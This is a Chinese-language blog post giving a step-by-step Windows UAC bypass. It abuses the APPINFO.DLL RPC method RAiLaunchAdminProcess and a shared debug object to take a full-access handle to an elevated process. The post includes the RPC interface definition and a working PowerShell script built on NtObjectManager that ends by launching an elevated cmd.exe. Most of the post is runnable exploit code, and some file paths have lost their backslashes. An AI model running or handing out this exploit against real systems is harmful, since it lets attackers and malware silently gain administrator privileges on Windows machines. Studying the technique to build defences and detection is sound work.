备战一个月比赛,导致近期都没啥时间更新博客,正好今天看到一篇通过调用本地RPC服务的文章,觉得非常有意思,就拿来充充博客。
在1.0版本的APPINFO.DLL中的RPC服务调用接口ID为:201ef99a-7fa0-444c-9399-19ba84f12a1a
用RAiLaunchAdminProcess函数调用本地RPC
[
uuid (201ef99a-7fa0-444c-9399-19ba84f12a1a),
version(1.0),
]
longRAiLaunchAdminProcess(
handle_t hBinding,
[in][unique][string] wchar_t*ExecutablePath,
[in][unique][string] wchar_t*CommandLine,
[in] longStartFlags,
[in] longCreateFlags,
[in][string] wchar_t*CurrentDirectory,
[in][string] wchar_t*WindowStation,
[in] struct APP_STARTUP_INFO*StartupInfo,
[in] unsigned __int3264 hWnd,
[in] longTimeout,
[out] struct APP_PROCESS_INFORMATION*ProcessInformation,
[out] long *ElevationType
);
ALPC(高级本地过程调用)调用原理图:
画的有点水,大概就是如上图所示
UAC步骤
1.利用RAiLaunchAdminProcess设置StartFlags标志为0并设置DEBUG_PROCESS来创建一个新的non-elevated进程。这将在服务器中RPC线程的TEB中初始化debug对象字段,并将其分配给新进程。
2.使用带有返回的进程句柄的NtQueryInformationProcess打开调试对象的句柄。
3.分离调试器并终止不再需要的新进程
4.通过RAiLaunchAdminProcess与StartFlags设置为1来创建一个新的提升进程,设置DEBUG_PROCESS标志 。由于已经初始化了TEB中的debug对象字段,因此将在步骤2中捕获的现有对象分配给了新进程。
5.检索初始调试事件,该事件将返回完整的访问进程句柄。
6.使用新的进程句柄代码,可以将其注入提升的进程中,从而完成UAC Bypass。
首先放上powershell的利用过程:
首先利用powershell的NtObjectManager模块,可以通过
Install-Module "NtObjectManager" -Scope CurrentUser
安装NtObjectManager模块,如果模块存在可以通过以下命令更新
Update-Module -Name NtObjectManager
然后解析APPINFO.DLL提取所有的RPC服务
$rpc = Get-RpcServer "c:windowssystem32appinfo.dll"`| Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
可以通过
Get-RpcServerName $rpc
生成一个XML文件
这里用修改后的测试文件
201ef99a-7fa0-444c-9399-19ba84f12a1a
1
0
0
RAiLaunchAdminProcess
10
ProcessInformation
0
APP_STARTUP_INFO
2
0
ProcessHandle
APP_PROCESS_INFORMATION
XML
将文件保存为names.xml
Get-Content "names.xml" | Set-RpcServerName $rpc
可以通过上述命令将xml文件内容应用于$rpc对象
最后创建客户端新实例,它生成一个C#源代码,并编译成临时程序集
$client = Get-RpcClient $rpc
可以通过Format-RpcClient函数查看生成的C#源代码
将客户端链接到本地RPC服务器的ALPC端口
Connect-RpcClient $client
接下来定义一个函数,里面实现了RAiLaunchAdminProcess方法的调用,该函数返回一个NtProcess对象,该对象可用于访问创建进程的属性
function Start-Uac {Param(
[Parameter(Mandatory, Position= 0)]
[string]$Executable,
[switch]$RunAsAdmin)$CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor`
[NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment$StartInfo = $client.New.APP_STARTUP_INFO()$result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
[int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`"C:", "WinSta0Default", $StartInfo, 0, -1)if ($result.retval -ne 0) {$ex = [System.ComponentModel.Win32Exception]::new($result.retval)throw $ex}$h = $result.ProcessInformation.ProcessHandle.Value
Get-NtObjectFromHandle $h -OwnsHandle
}
创建一个进程并捕获debug对象,一旦获取调试对象,要将调试器与进程分离。
$p = Start-Uac "c:windowssystem32
otepad.exe"
$dbg = Get-NtDebug -Process $pStop-NtProcess $pRemove-NtDebugProcess $dbg -Process $p
创建一个提升的进程,发现分配给提升进程的调试对象与刚才创建的调试对象相同。现在,我们在调试对象上发出等待,从中可以提取到特权进程句柄。
但因为初始调试的句柄没有完全特权,得使用Copy-NtObject从提升的进程中复制当前进程的伪句柄(-1),从而获取完全特权句柄。
$p = Start-Uac "c:windowssystem32askmgr.exe" -RunAsAdmin$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
$h = [IntPtr]-1
$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $hRemove-NtDebugProcess $dbg -Process $new_p
此时再以$new_p为父进程生成一个特权权限的cmd进程
New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole